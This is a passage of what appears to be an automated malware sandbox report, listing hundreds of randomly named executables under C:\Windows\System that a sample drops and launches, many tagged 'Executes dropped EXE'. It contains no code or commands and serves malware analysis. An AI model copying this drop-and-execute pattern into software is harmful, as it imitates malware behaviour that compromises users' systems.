  C:\Windows\System\ZyDMuGu.exe
  2⤵
  - Executes dropped EXE
  PID:4484
- C:\Windows\System\TdTnzPn.exe
  C:\Windows\System\TdTnzPn.exe
  2⤵
  - Executes dropped EXE
  PID:2044
- C:\Windows\System\IUBeXCS.exe
  C:\Windows\System\IUBeXCS.exe
  2⤵
  - Executes dropped EXE
  PID:1704
- C:\Windows\System\cGwqhFe.exe
  C:\Windows\System\cGwqhFe.exe
  2⤵
  - Executes dropped EXE
  PID:2796
- C:\Windows\System\kqvZZvO.exe
  C:\Windows\System\kqvZZvO.exe
  2⤵
  - Executes dropped EXE
  PID:3572
- C:\Windows\System\aazWxwO.exe
  C:\Windows\System\aazWxwO.exe
  2⤵
  - Executes dropped EXE
  PID:2824
- C:\Windows\System\wpenZTr.exe
  C:\Windows\System\wpenZTr.exe
  2⤵
  - Executes dropped EXE
  PID:3520
- C:\Windows\System\mXtSDxA.exe
  C:\Windows\System\mXtSDxA.exe
  2⤵
  - Executes dropped EXE
  PID:376
- C:\Windows\System\HyVUtDw.exe
  C:\Windows\System\HyVUtDw.exe
  2⤵
  - Executes dropped EXE
  PID:396
- C:\Windows\System\VJhBwZn.exe
  C:\Windows\System\VJhBwZn.exe
  2⤵
  - Executes dropped EXE
  PID:1288
- C:\Windows\System\dfmWHne.exe
  C:\Windows\System\dfmWHne.exe
  2⤵
  - Executes dropped EXE
  PID:3292
- C:\Windows\System\eaHYbhw.exe
  C:\Windows\System\eaHYbhw.exe
  2⤵
  - Executes dropped EXE
  PID:1336
- C:\Windows\System\fOlIEaU.exe
  C:\Windows\System\fOlIEaU.exe
  2⤵
  - Executes dropped EXE
  PID:2308
- C:\Windows\System\hXrxlyl.exe
  C:\Windows\System\hXrxlyl.exe
  2⤵
  - Executes dropped EXE
  PID:4748
- C:\Windows\System\JVEAHOq.exe
  C:\Windows\System\JVEAHOq.exe
  2⤵
  - Executes dropped EXE
  PID:724
- C:\Windows\System\zHfLEfl.exe
  C:\Windows\System\zHfLEfl.exe
  2⤵
  - Executes dropped EXE
  PID:4572
- C:\Windows\System\AYYMLdW.exe
  C:\Windows\System\AYYMLdW.exe
  2⤵
  - Executes dropped EXE
  PID:1820
- C:\Windows\System\PiaLqBj.exe
  C:\Windows\System\PiaLqBj.exe
  2⤵
  - Executes dropped EXE
  PID:2976
- C:\Windows\System\CnrJOHB.exe
  C:\Windows\System\CnrJOHB.exe
  2⤵
  - Executes dropped EXE
  PID:1456
- C:\Windows\System\TUCetUs.exe
  C:\Windows\System\TUCetUs.exe
  2⤵
  - Executes dropped EXE
  PID:1504
- C:\Windows\System\PmEbHBh.exe
  C:\Windows\System\PmEbHBh.exe
  2⤵
  - Executes dropped EXE
  PID:1248
- C:\Windows\System\FOllatp.exe
  C:\Windows\System\FOllatp.exe
  2⤵
  - Executes dropped EXE
  PID:4492
- C:\Windows\System\LcpWfHl.exe
  C:\Windows\System\LcpWfHl.exe
  2⤵
  - Executes dropped EXE
  PID:4984
- C:\Windows\System\MAXXGVa.exe
  C:\Windows\System\MAXXGVa.exe
  2⤵
  - Executes dropped EXE
  PID:1472
- C:\Windows\System\XdPCIqF.exe
  C:\Windows\System\XdPCIqF.exe
  2⤵
  - Executes dropped EXE
  PID:3852
- C:\Windows\System\PqhrzDI.exe
  C:\Windows\System\PqhrzDI.exe
  2⤵
  - Executes dropped EXE
  PID:1712
- C:\Windows\System\eZGZbTU.exe
  C:\Windows\System\eZGZbTU.exe
  2⤵
  - Executes dropped EXE
  PID:4768
- C:\Windows\System\MzhSfek.exe
  C:\Windows\System\MzhSfek.exe
  2⤵
  - Executes dropped EXE
  PID:2644
- C:\Windows\System\QAIwFaT.exe
  C:\Windows\System\QAIwFaT.exe
  2⤵
  - Executes dropped EXE
  PID:3216
- C:\Windows\System\KRKfiIE.exe
  C:\Windows\System\KRKfiIE.exe
  2⤵
  - Executes dropped EXE
  PID:4740
- C:\Windows\System\DtUKHEi.exe
  C:\Windows\System\DtUKHEi.exe
  2⤵
  - Executes dropped EXE
  PID:4528
- C:\Windows\System\iaSXhqq.exe
  C:\Windows\System\iaSXhqq.exe
  2⤵
  - Executes dropped EXE
  PID:2572
- C:\Windows\System\uszTYUH.exe
  C:\Windows\System\uszTYUH.exe
  2⤵
  - Executes dropped EXE
  PID:916
- C:\Windows\System\aBVxMoR.exe
  C:\Windows\System\aBVxMoR.exe
  2⤵
  - Executes dropped EXE
  PID:224
- C:\Windows\System\CmaIyJl.exe
  C:\Windows\System\CmaIyJl.exe
  2⤵
  - Executes dropped EXE
  PID:4660
- C:\Windows\System\YOLnfAf.exe
  C:\Windows\System\YOLnfAf.exe
  2⤵
  - Executes dropped EXE
  PID:2352
- C:\Windows\System\UTCynqT.exe
  C:\Windows\System\UTCynqT.exe
  2⤵
  - Executes dropped EXE
  PID:2324
- C:\Windows\System\yICkFUh.exe
  C:\Windows\System\yICkFUh.exe
  2⤵
  - Executes dropped EXE
  PID:2120
- C:\Windows\System\RMZPtNP.exe
  C:\Windows\System\RMZPtNP.exe
  2⤵
  - Executes dropped EXE
  PID:4232
- C:\Windows\System\NBUofIp.exe
  C:\Windows\System\NBUofIp.exe
  2⤵
  - Executes dropped EXE
  PID:2596
- C:\Windows\System\KiQbWJe.exe
  C:\Windows\System\KiQbWJe.exe
  2⤵
  - Executes dropped EXE
  PID:1876
- C:\Windows\System\blyyedw.exe
  C:\Windows\System\blyyedw.exe
  2⤵
  - Executes dropped EXE
  PID:4488
- C:\Windows\System\IbxkVUS.exe
  C:\Windows\System\IbxkVUS.exe
  2⤵
  - Executes dropped EXE
  PID:1028
- C:\Windows\System\vLiRlid.exe
  C:\Windows\System\vLiRlid.exe
  2⤵
  - Executes dropped EXE
  PID:2076
- C:\Windows\System\rxMEWSh.exe
  C:\Windows\System\rxMEWSh.exe
  2⤵
  - Executes dropped EXE
  PID:2168
- C:\Windows\System\FUklMZZ.exe
  C:\Windows\System\FUklMZZ.exe
  2⤵
  - Executes dropped EXE
  PID:2084
- C:\Windows\System\zNwYrLU.exe
  C:\Windows\System\zNwYrLU.exe
  2⤵
  PID:1796
- C:\Windows\System\ihrlVRx.exe
  C:\Windows\System\ihrlVRx.exe
  2⤵
  PID:5152
- C:\Windows\System\dtQVkwH.exe
  C:\Windows\System\dtQVkwH.exe
  2⤵
  PID:5172
- C:\Windows\System\MxtcOWm.exe
  C:\Windows\System\MxtcOWm.exe
  2⤵
  PID:5188
- C:\Windows\System\PuXJjQc.exe
  C:\Windows\System\PuXJjQc.exe
  2⤵
  PID:5224
- C:\Windows\System\qMvGYnn.exe
  C:\Windows\System\qMvGYnn.exe
  2⤵
  PID:5244
- C:\Windows\System\ClxHywB.exe
  C:\Windows\System\ClxHywB.exe
  2⤵
  PID:5272
- C:\Windows\System\UPLhIFt.exe
  C:\Windows\System\UPLhIFt.exe
  2⤵
  PID:5300
- C:\Windows\System\bKSApoI.exe
  C:\Windows\System\bKSApoI.exe
  2⤵
  PID:5336
- C:\Windows\System\BtfqWox.exe
  C:\Windows\System\BtfqWox.exe
  2⤵
  PID:5360
- C:\Windows\System\RCRpzaz.exe
  C:\Windows\System\RCRpzaz.exe
  2⤵
  PID:5384
- C:\Windows\System\GfqcRZN.exe
  C:\Windows\System\GfqcRZN.exe
  2⤵
  PID:5412
- C:\Windows\System\nRcBAFW.exe
  C:\Windows\System\nRcBAFW.exe
  2⤵
  PID:5440
- C:\Windows\System\iUjwRUx.exe
  C:\Windows\System\iUjwRUx.exe
  2⤵
  PID:5468
- C:\Windows\System\lMaOmsY.exe
  C:\Windows\System\lMaOmsY.exe
  2⤵
  PID:5504
- C:\Windows\System\XEMsryV.exe
  C:\Windows\System\XEMsryV.exe
  2⤵
  PID:5532
- C:\Windows\System\siOCCXG.exe
  C:\Windows\System\siOCCXG.exe
  2⤵
  PID:5556
- C:\Windows\System\AlJYzAt.exe
  C:\Windows\System\AlJYzAt.exe
  2⤵
  PID:5616
- C:\Windows\System\SjnehXg.exe
  C:\Windows\System\SjnehXg.exe
  2⤵
  PID:5664
- C:\Windows\System\UxbPjBn.exe
  C:\Windows\System\UxbPjBn.exe
  2⤵
  PID:5696
- C:\Windows\System\jTyzFcZ.exe
  C:\Windows\System\jTyzFcZ.exe
  2⤵
  PID:5712
- C:\Windows\System\GPSzwpR.exe
  C:\Windows\System\GPSzwpR.exe
  2⤵
  PID:5736
- C:\Windows\System\ZQYXrPl.exe
  C:\Windows\System\ZQYXrPl.exe
  2⤵
  PID:5756
- C:\Windows\System\fnsAsTs.exe
  C:\Windows\System\fnsAsTs.exe
  2⤵
  PID:5772
- C:\Windows\System\VtpkBeh.exe
  C:\Windows\System\VtpkBeh.exe
  2⤵
  PID:5800
- C:\Windows\System\NPomoNj.exe
  C:\Windows\System\NPomoNj.exe
  2⤵
  PID:5820
- C:\Windows\System\bQWDBPr.exe
  C:\Windows\System\bQWDBPr.exe
  2⤵
  PID:5840
- C:\Windows\System\TVmeOzV.exe
  C:\Windows\System\TVmeOzV.exe
  2⤵
  PID:5860
- C:\Windows\System\TsNoLVX.exe
  C:\Windows\System\TsNoLVX.exe
  2⤵
  PID:5876
- C:\Windows\System\jxOQXns.exe
  C:\Windows\System\jxOQXns.exe
  2⤵
  PID:5896
- C:\Windows\System\kiMuheQ.exe
  C:\Windows\System\kiMuheQ.exe
  2⤵
  PID:5924
- C:\Windows\System\uQCeHdP.exe
  C:\Windows\System\uQCeHdP.exe
  2⤵
  PID:5944
- C:\Windows\System\GkWhdVo.exe
  C:\Windows\System\GkWhdVo.exe
  2⤵
  PID:5964
- C:\Windows\System\vXhnRLI.exe
  C:\Windows\System\vXhnRLI.exe
  2⤵
  PID:5992
- C:\Windows\System\TqLcuuM.exe
  C:\Windows\System\TqLcuuM.exe
  2⤵
  PID:6012
- C:\Windows\System\uWpyjMH.exe
  C:\Windows\System\uWpyjMH.exe
  2⤵
  PID:6036
- C:\Windows\System\xYIMsLx.exe
  C:\Windows\System\xYIMsLx.exe
  2⤵
  PID:6052
- C:\Windows\System\lqFgwvJ.exe
  C:\Windows\System\lqFgwvJ.exe
  2⤵
  PID:6072
- C:\Windows\System\RxKjdSa.exe
  C:\Windows\System\RxKjdSa.exe
  2⤵
  PID:6092
- C:\Windows\System\enaTGqF.exe
  C:\Windows\System\enaTGqF.exe
  2⤵
  PID:6108
- C:\Windows\System\pKSFtfR.exe
  C:\Windows\System\pKSFtfR.exe
  2⤵
  PID:6128
- C:\Windows\System\EYcEAjo.exe
  C:\Windows\System\EYcEAjo.exe
  2⤵
  PID:2232
- C:\Windows\System\YPmLugk.exe
  C:\Windows\System\YPmLugk.exe
  2⤵
  PID:5148
- C:\Windows\System\pcoLODs.exe
  C:\Windows\System\pcoLODs.exe
  2⤵
  PID:5200
- C:\Windows\System\deLjfaD.exe
  C:\Windows\System\deLjfaD.exe
  2⤵
  PID:5240
- C:\Windows\System\KkZBRoS.exe
  C:\Windows\System\KkZBRoS.exe
  2⤵
  PID:5288
- C:\Windows\System\pZYIGVd.exe
  C:\Windows\System\pZYIGVd.exe
  2⤵
  PID:5332
- C:\Windows\System\OYBzjAK.exe
  C:\Windows\System\OYBzjAK.exe
  2⤵
  PID:5380
- C:\Windows\System\dzxLHQr.exe
  C:\Windows\System\dzxLHQr.exe
  2⤵
  PID:948
- C:\Windows\System\xrMtprV.exe
  C:\Windows\System\xrMtprV.exe
  2⤵
  PID:5432
- C:\Windows\System\OyXPnfr.exe
  C:\Windows\System\OyXPnfr.exe
  2⤵
  PID:5456
- C:\Windows\System\wpJBFHe.exe
  C:\Windows\System\wpJBFHe.exe
  2⤵
  PID:2812
- C:\Windows\System\aEqLmfM.exe
  C:\Windows\System\aEqLmfM.exe
  2⤵
  PID:1692
- C:\Windows\System\fvlQUEL.exe
  C:\Windows\System\fvlQUEL.exe
  2⤵
  PID:5544
- C:\Windows\System\IXEiFdB.exe
  C:\Windows\System\IXEiFdB.exe
  2⤵
  PID:4396
- C:\Windows\System\RLnosQF.exe
  C:\Windows\System\RLnosQF.exe
  2⤵
  PID:3156
- C:\Windows\System\qfeSSbj.exe
  C:\Windows\System\qfeSSbj.exe
  2⤵
  PID:3536
- C:\Windows\System\YIRQOUL.exe
  C:\Windows\System\YIRQOUL.exe
  2⤵
  PID:4628
- C:\Windows\System\OMPmPJh.exe
  C:\Windows\System\OMPmPJh.exe
  2⤵
  PID:1076
- C:\Windows\System\sEZKYPU.exe
  C:\Windows\System\sEZKYPU.exe
  2⤵
  PID:1372
- C:\Windows\System\FxWfYQh.exe
  C:\Windows\System\FxWfYQh.exe
  2⤵
  PID:3180
- C:\Windows\System\sfygObc.exe
  C:\Windows\System\sfygObc.exe
  2⤵
  PID:5648
- C:\Windows\System\KNtDoiG.exe
  C:\Windows\System\KNtDoiG.exe
  2⤵
  PID:1908
- C:\Windows\System\GrCyzEW.exe
  C:\Windows\System\GrCyzEW.exe
  2⤵
  PID:3456
- C:\Windows\System\hIqWsjO.exe
  C:\Windows\System\hIqWsjO.exe
  2⤵
  PID:3968
- C:\Windows\System\wiquCYe.exe
  C:\Windows\System\wiquCYe.exe
  2⤵
  PID:5676
- C:\Windows\System\blAHVTn.exe
  C:\Windows\System\blAHVTn.exe
  2⤵
  PID:5708
- C:\Windows\System\YskDaqK.exe
  C:\Windows\System\YskDaqK.exe
  2⤵
  PID:5788
- C:\Windows\System\KajLeEs.exe
  C:\Windows\System\KajLeEs.exe
  2⤵
  PID:5748
- C:\Windows\System\pOuZVPt.exe
  C:\Windows\System\pOuZVPt.exe
  2⤵
  PID:5780
- C:\Windows\System\bLBddrN.exe
  C:\Windows\System\bLBddrN.exe
  2⤵
  PID:5888
- C:\Windows\System\nNGAPAO.exe
  C:\Windows\System\nNGAPAO.exe
  2⤵
  PID:5940
- C:\Windows\System\JWgZjnu.exe
  C:\Windows\System\JWgZjnu.exe
  2⤵
  PID:5984
- C:\Windows\System\ZcLnOSf.exe
  C:\Windows\System\ZcLnOSf.exe
  2⤵
  PID:6008
- C:\Windows\System\WsXkitG.exe
  C:\Windows\System\WsXkitG.exe
  2⤵
  PID:6000
- C:\Windows\System\LbaWAQQ.exe
  C:\Windows\System\LbaWAQQ.exe
  2⤵
  PID:5168
- C:\Windows\System\MTlFjXD.exe
  C:\Windows\System\MTlFjXD.exe
  2⤵
  PID:2648
- C:\Windows\System\MSaRvdi.exe
  C:\Windows\System\MSaRvdi.exe
  2⤵
  PID:2988
- C:\Windows\System\HppehAC.exe
  C:\Windows\System\HppehAC.exe
  2⤵
  PID:4892
- C:\Windows\System\niisySz.exe
  C:\Windows\System\niisySz.exe
  2⤵
  PID:5184
- C:\Windows\System\gwrbQhY.exe
  C:\Windows\System\gwrbQhY.exe
  2⤵
  PID:5264
- C:\Windows\System\gQjQiPK.exe
  C:\Windows\System\gQjQiPK.exe
  2⤵
  PID:6088
- C:\Windows\System\MOsjMdC.exe
  C:\Windows\System\MOsjMdC.exe
  2⤵
  PID:5368
- C:\Windows\System\venzPIt.exe
  C:\Windows\System\venzPIt.exe
  2⤵
  PID:548
- C:\Windows\System\vgtmpfo.exe
  C:\Windows\System\vgtmpfo.exe
  2⤵
  PID:5516
- C:\Windows\System\DUYBTue.exe
  C:\Windows\System\DUYBTue.exe
  2⤵
  PID:6152
- C:\Windows\System\JqodVhR.exe
  C:\Windows\System\JqodVhR.exe
  2⤵
  PID:6172
- C:\Windows\System\IDSFpNN.exe
  C:\Windows\System\IDSFpNN.exe
  2⤵
  PID:6188
- C:\Windows\System\aRLKDXI.exe
  C:\Windows\System\aRLKDXI.exe
  2⤵
  PID:6204
- C:\Windows\System\IFQJQsB.exe
  C:\Windows\System\IFQJQsB.exe
  2⤵
  PID:6220
- C:\Windows\System\rowGQXz.exe
  C:\Windows\System\rowGQXz.exe
  2⤵
  PID:6252
- C:\Windows\System\qJioMUg.exe
  C:\Windows\System\qJioMUg.exe
  2⤵
  PID:6272
- C:\Windows\System\WACqJLs.exe
  C:\Windows\System\WACqJLs.exe
  2⤵
  PID:6288
- C:\Windows\System\UnYSUHh.exe
  C:\Windows\System\UnYSUHh.exe
  2⤵
  PID:6308
- C:\Windows\System\sSxOGHG.exe
  C:\Windows\System\sSxOGHG.exe
  2⤵
  PID:6324
- C:\Windows\System\nnryzYc.exe
  C:\Windows\System\nnryzYc.exe
  2⤵
  PID:6340
- C:\Windows\System\BzMYPWf.exe
  C:\Windows\System\BzMYPWf.exe
  2⤵
  PID:6356
- C:\Windows\System\nBFqcUf.exe
  C:\Windows\System\nBFqcUf.exe
  2⤵
  PID:6396
- C:\Windows\System\PvHTbAK.exe
  C:\Windows\System\PvHTbAK.exe
  2⤵
  PID:6420
- C:\Windows\System\bxkmBNk.exe
  C:\Windows\System\bxkmBNk.exe
  2⤵
  PID:6440
- C:\Windows\System\AAciYLA.exe
  C:\Windows\System\AAciYLA.exe
  2⤵
  PID:6464
- C:\Windows\System\KIswHcD.exe
  C:\Windows\System\KIswHcD.exe
  2⤵
  PID:6480
- C:\Windows\System\BZRQdod.exe
  C:\Windows\System\BZRQdod.exe
  2⤵
  PID:6508
- C:\Windows\System\veSUMXp.exe
  C:\Windows\System\veSUMXp.exe
  2⤵
  PID:6528
- C:\Windows\System\qUWlLpj.exe
  C:\Windows\System\qUWlLpj.exe
  2⤵
  PID:6548
- C:\Windows\System\gqageOm.exe
  C:\Windows\System\gqageOm.exe
  2⤵
  PID:6572
- C:\Windows\System\NAGqrvq.exe
  C:\Windows\System\NAGqrvq.exe
  2⤵
  PID:6592
- C:\Windows\System\lnmHuUR.exe
  C:\Windows\System\lnmHuUR.exe
  2⤵
  PID:6616
- C:\Windows\System\opuIGuC.exe
  C:\Windows\System\opuIGuC.exe
  2⤵
  PID:6640
- C:\Windows\System\DwJZnQq.exe
  C:\Windows\System\DwJZnQq.exe
  2⤵
  PID:6660
- C:\Windows\System\NSmILiw.exe
  C:\Windows\System\NSmILiw.exe
  2⤵
  PID:6688
- C:\Windows\System\OWXfjYc.exe
  C:\Windows\System\OWXfjYc.exe
  2⤵
  PID:6708
- C:\Windows\System\OVKhALV.exe
  C:\Windows\System\OVKhALV.exe
  2⤵
  PID:6728
- C:\Windows\System\XmzqDAE.exe
  C:\Windows\System\XmzqDAE.exe
  2⤵
  PID:6752
- C:\Windows\System\GWpygnr.exe
  C:\Windows\System\GWpygnr.exe
  2⤵
  PID:6776
- C:\Windows\System\lygCXMF.exe
  C:\Windows\System\lygCXMF.exe
  2⤵
  PID:6796
- C:\Windows\System\GhUSseD.exe
  C:\Windows\System\GhUSseD.exe
  2⤵
  PID:6820
- C:\Windows\System\NdWbOXx.exe
  C:\Windows\System\NdWbOXx.exe
  2⤵
  PID:6840
- C:\Windows\System\DDnYHeQ.exe
  C:\Windows\System\DDnYHeQ.exe
  2⤵
  PID:6860
- C:\Windows\System\ggGjIhc.exe
  C:\Windows\System\ggGjIhc.exe
  2⤵
  PID:6880
- C:\Windows\System\lBerrfJ.exe
  C:\Windows\System\lBerrfJ.exe
  2⤵
  PID:6900
- C:\Windows\System\AlofPTu.exe
  C:\Windows\System\AlofPTu.exe
  2⤵
  PID:6916
- C:\Windows\System\aTsYnps.exe
  C:\Windows\System\aTsYnps.exe
  2⤵
  PID:6936
- C:\Windows\System\XSTbKja.exe
  C:\Windows\System\XSTbKja.exe
  2⤵
  PID:6960
- C:\Windows\System\mxfuOHU.exe
  C:\Windows\System\mxfuOHU.exe
  2⤵
  PID:6976
- C:\Windows\System\LwSUXiw.exe
  C:\Windows\System\LwSUXiw.exe
  2⤵
  PID:7004
- C:\Windows\System\PeXHUZh.exe
  C:\Windows\System\PeXHUZh.exe
  2⤵
  PID:7024
- C:\Windows\System\IxKugGL.exe
  C:\Windows\System\IxKugGL.exe
  2⤵
  PID:7044
- C:\Windows\System\hrUxQJa.exe
  C:\Windows\System\hrUxQJa.exe
  2⤵
  PID:7072
- C:\Windows\System\bJvnhzH.exe
  C:\Windows\System\bJvnhzH.exe
  2⤵
  PID:7092
- C:\Windows\System\hqJEOjD.exe
  C:\Windows\System\hqJEOjD.exe
  2⤵
  PID:7108
- C:\Windows\System\bYOniBR.exe
  C:\Windows\System\bYOniBR.exe
  2⤵
  PID:7124
- C:\Windows\System\RRyhIzH.exe
  C:\Windows\System\RRyhIzH.exe
  2⤵
  PID:7140
- C:\Windows\System\nQAVDZU.exe
  C:\Windows\System\nQAVDZU.exe
  2⤵
  PID:7156
- C:\Windows\System\zZGNtpv.exe
  C:\Windows\System\zZGNtpv.exe
  2⤵
  PID:5564
- C:\Windows\System\LSirVWs.exe
  C:\Windows\System\LSirVWs.exe
  2⤵
  PID:5872
- C:\Windows\System\VGCgKYm.exe
  C:\Windows\System\VGCgKYm.exe
  2⤵
  PID:6084
- C:\Windows\System\haZiRZQ.exe
  C:\Windows\System\haZiRZQ.exe
  2⤵
  PID:4596
- C:\Windows\System\kUOrowH.exe
  C:\Windows\System\kUOrowH.exe
  2⤵
  PID:6080
- C:\Windows\System\fPGOXIQ.exe
  C:\Windows\System\fPGOXIQ.exe
  2⤵
  PID:5104
- C:\Windows\System\mXYkipA.exe
  C:\Windows\System\mXYkipA.exe
  2⤵
  PID:6168
- C:\Windows\System\kFLnVJl.exe
  C:\Windows\System\kFLnVJl.exe
  2⤵
  PID:932
- C:\Windows\System\QrXnYuf.exe
  C:\Windows\System\QrXnYuf.exe
  2⤵
  PID:5608
- C:\Windows\System\oHjbPys.exe
  C:\Windows\System\oHjbPys.exe
  2⤵
  PID:452
- C:\Windows\System\yyomXUj.exe
  C:\Windows\System\yyomXUj.exe
  2⤵
  PID:2184
- C:\Windows\System\NIsXgKi.exe
  C:\Windows\System\NIsXgKi.exe
  2⤵
  PID:6260
- C:\Windows\System\mMyQBOg.exe
  C:\Windows\System\mMyQBOg.exe
  2⤵
  PID:6280
- C:\Windows\System\qfiFvmh.exe
  C:\Windows\System\qfiFvmh.exe
  2⤵
  PID:6332
- C:\Windows\System\bfWcJJy.exe
  C:\Windows\System\bfWcJJy.exe
  2⤵
  PID:6404
- C:\Windows\System\qxJQzWx.exe
  C:\Windows\System\qxJQzWx.exe
  2⤵
  PID:6448
- C:\Windows\System\nYMVMtr.exe
  C:\Windows\System\nYMVMtr.exe
  2⤵
  PID:6488
- C:\Windows\System\WdJCBcK.exe
  C:\Windows\System\WdJCBcK.exe
  2⤵
  PID:6472
- C:\Windows\System\sNBRQLs.exe
  C:\Windows\System\sNBRQLs.exe
  2⤵
  PID:6608
- C:\Windows\System\oVSYvsI.exe
  C:\Windows\System\oVSYvsI.exe
  2⤵
  PID:6744
- C:\Windows\System\EHzItjh.exe
  C:\Windows\System\EHzItjh.exe
  2⤵
  PID:7176
- C:\Windows\System\deSIvTg.exe
  C:\Windows\System\deSIvTg.exe
  2⤵
  PID:7196
- C:\Windows\System\ilhKOdo.exe
  C:\Windows\System\ilhKOdo.exe
  2⤵
  PID:7216
- C:\Windows\System\zCRgmtB.exe
  C:\Windows\System\zCRgmtB.exe
  2⤵
  PID:7240
- C:\Windows\System\bLDOvLe.exe
  C:\Windows\System\bLDOvLe.exe
  2⤵
  PID:7256
- C:\Windows\System\NEyaqjw.exe
  C:\Windows\System\NEyaqjw.exe
  2⤵
  PID:7280
- C:\Windows\System\TCFgedD.exe
  C:\Windows\System\TCFgedD.exe
  2⤵
  PID:7304
- C:\Windows\System\EdrladR.exe
  C:\Windows\System\EdrladR.exe
  2⤵
  PID:7324
- C:\Windows\System\gCppWxb.exe
  C:\Windows\System\gCppWxb.exe
  2⤵
  PID:7344
- C:\Windows\System\PRqvsdH.exe
  C:\Windows\System\PRqvsdH.exe
  2⤵
  PID:7376
- C:\Windows\System\LGVHPqQ.exe
  C:\Windows\System\LGVHPqQ.exe
  2⤵
  PID:7396
- C:\Windows\System\laqQjTr.exe
  C:\Windows\System\laqQjTr.exe
  2⤵
  PID:7416
- C:\Windows\System\YqLvdFy.exe
  C:\Windows\System\YqLvdFy.exe
  2⤵
  PID:7432
- C:\Windows\System\dwLoBfc.exe
  C:\Windows\System\dwLoBfc.exe
  2⤵
  PID:7452
- C:\Windows\System\RnxeisC.exe
  C:\Windows\System\RnxeisC.exe
  2⤵
  PID:7472
- C:\Windows\System\FbqjaVn.exe
  C:\Windows\System\FbqjaVn.exe
  2⤵
  PID:7488
- C:\Windows\System\TzIQWOn.exe
  C:\Windows\System\TzIQWOn.exe
  2⤵
  PID:7504
- C:\Windows\System\olgFeTk.exe
  C:\Windows\System\olgFeTk.exe
  2⤵
  PID:7528
- C:\Windows\System\khaQDOl.exe
  C:\Windows\System\khaQDOl.exe
  2⤵
  PID:7548
- C:\Windows\System\bNdtejL.exe
  C:\Windows\System\bNdtejL.exe
  2⤵
  PID:7568
- C:\Windows\System\LfhWxpV.exe
  C:\Windows\System\LfhWxpV.exe
  2⤵
  PID:7588
- C:\Windows\System\MNqxVMl.exe
  C:\Windows\System\MNqxVMl.exe
  2⤵
  PID:7612
- C:\Windows\System\lLmEtIV.exe
  C:\Windows\System\lLmEtIV.exe
  2⤵
  PID:7632
- C:\Windows\System\XYseQRm.exe
  C:\Windows\System\XYseQRm.exe
  2⤵
  PID:7652
- C:\Windows\System\WckssvC.exe
  C:\Windows\System\WckssvC.exe
  2⤵
  PID:7668
- C:\Windows\System\ZzXoiXW.exe
  C:\Windows\System\ZzXoiXW.exe
  2⤵
  PID:7688
- C:\Windows\System\ijbYodJ.exe
  C:\Windows\System\ijbYodJ.exe
  2⤵
  PID:7708
- C:\Windows\System\CiAmEPR.exe
  C:\Windows\System\CiAmEPR.exe
  2⤵
  PID:7728
- C:\Windows\System\RMhGCNp.exe
  C:\Windows\System\RMhGCNp.exe
  2⤵
  PID:7748
- C:\Windows\System\YXLZgGX.exe
  C:\Windows\System\YXLZgGX.exe
  2⤵
  PID:7772
- C:\Windows\System\vPZURuV.exe
  C:\Windows\System\vPZURuV.exe
  2⤵
  PID:7788
- C:\Windows\System\EYlInTs.exe
  C:\Windows\System\EYlInTs.exe
  2⤵
  PID:7808
- C:\Windows\System\HcKxytX.exe
  C:\Windows\System\HcKxytX.exe
  2⤵
  PID:7836
- C:\Windows\System\wlFddlq.exe
  C:\Windows\System\wlFddlq.exe
  2⤵
  PID:7852
- C:\Windows\System\tzHdGzu.exe
  C:\Windows\System\tzHdGzu.exe
  2⤵
  PID:7876
- C:\Windows\System\mxhpZHW.exe
  C:\Windows\System\mxhpZHW.exe
  2⤵
  PID:7900
- C:\Windows\System\LawHAFt.exe
  C:\Windows\System\LawHAFt.exe
  2⤵
  PID:7924
- C:\Windows\System\jRDVEeH.exe
  C:\Windows\System\jRDVEeH.exe
  2⤵
  PID:7940
- C:\Windows\System\tKtRyiL.exe
  C:\Windows\System\tKtRyiL.exe
  2⤵
  PID:7964
- C:\Windows\System\rmSXaub.exe
  C:\Windows\System\rmSXaub.exe
  2⤵
  PID:7984
- C:\Windows\System\gqEARHm.exe
  C:\Windows\System\gqEARHm.exe
  2⤵
  PID:8004
- C:\Windows\System\cQQBvdd.exe
  C:\Windows\System\cQQBvdd.exe
  2⤵
  PID:8024
- C:\Windows\System\ZWahUTW.exe
  C:\Windows\System\ZWahUTW.exe
  2⤵
  PID:8044
- C:\Windows\System\nHSudNt.exe
  C:\Windows\System\nHSudNt.exe
  2⤵
  PID:8096
- C:\Windows\System\tjtCZsi.exe
  C:\Windows\System\tjtCZsi.exe
  2⤵
  PID:8120
- C:\Windows\System\bgwVxlV.exe
  C:\Windows\System\bgwVxlV.exe
  2⤵
  PID:8144
- C:\Windows\System\YGEgtTg.exe
  C:\Windows\System\YGEgtTg.exe
  2⤵
  PID:8164
- C:\Windows\System\bVzNqcJ.exe
  C:\Windows\System\bVzNqcJ.exe
  2⤵
  PID:8188
- C:\Windows\System\euzFoXZ.exe
  C:\Windows\System\euzFoXZ.exe
  2⤵
  PID:6944
- C:\Windows\System\FYeWkbG.exe
  C:\Windows\System\FYeWkbG.exe
  2⤵
  PID:5832
- C:\Windows\System\MtVKyDE.exe
  C:\Windows\System\MtVKyDE.exe
  2⤵
  PID:6268
- C:\Windows\System\HkxXBfF.exe
  C:\Windows\System\HkxXBfF.exe
  2⤵
  PID:6304
- C:\Windows\System\wEyVYCp.exe
  C:\Windows\System\wEyVYCp.exe
  2⤵
  PID:4656
- C:\Windows\System\yNxxfmC.exe
  C:\Windows\System\yNxxfmC.exe
  2⤵
  PID:2372
- C:\Windows\System\rIQGuKY.exe
  C:\Windows\System\rIQGuKY.exe
  2⤵
  PID:4392
- C:\Windows\System\jKNIwJa.exe
  C:\Windows\System\jKNIwJa.exe
  2⤵
  PID:6104
- C:\Windows\System\CfTfUwd.exe
  C:\Windows\System\CfTfUwd.exe
  2⤵
  PID:1004
- C:\Windows\System\KLBUUqy.exe
  C:\Windows\System\KLBUUqy.exe
  2⤵
  PID:6668
- C:\Windows\System\oEUKSsQ.exe
  C:\Windows\System\oEUKSsQ.exe
  2⤵
  PID:6736
- C:\Windows\System\ILGdsYt.exe
  C:\Windows\System\ILGdsYt.exe
  2⤵
  PID:7524
- C:\Windows\System\AiMqnHv.exe
  C:\Windows\System\AiMqnHv.exe
  2⤵
  PID:7448
- C:\Windows\System\QFjtsbH.exe
  C:\Windows\System\QFjtsbH.exe
  2⤵
  PID:436
- C:\Windows\System\ayDlDAf.exe
  C:\Windows\System\ayDlDAf.exe
  2⤵
  PID:7540
- C:\Windows\System\MDRBIQZ.exe
  C:\Windows\System\MDRBIQZ.exe
  2⤵
  PID:6432
- C:\Windows\System\lvYIWHg.exe
  C:\Windows\System\lvYIWHg.exe
  2⤵
  PID:6656
- C:\Windows\System\ufyFOcD.exe
  C:\Windows\System\ufyFOcD.exe
  2⤵
  PID:7664
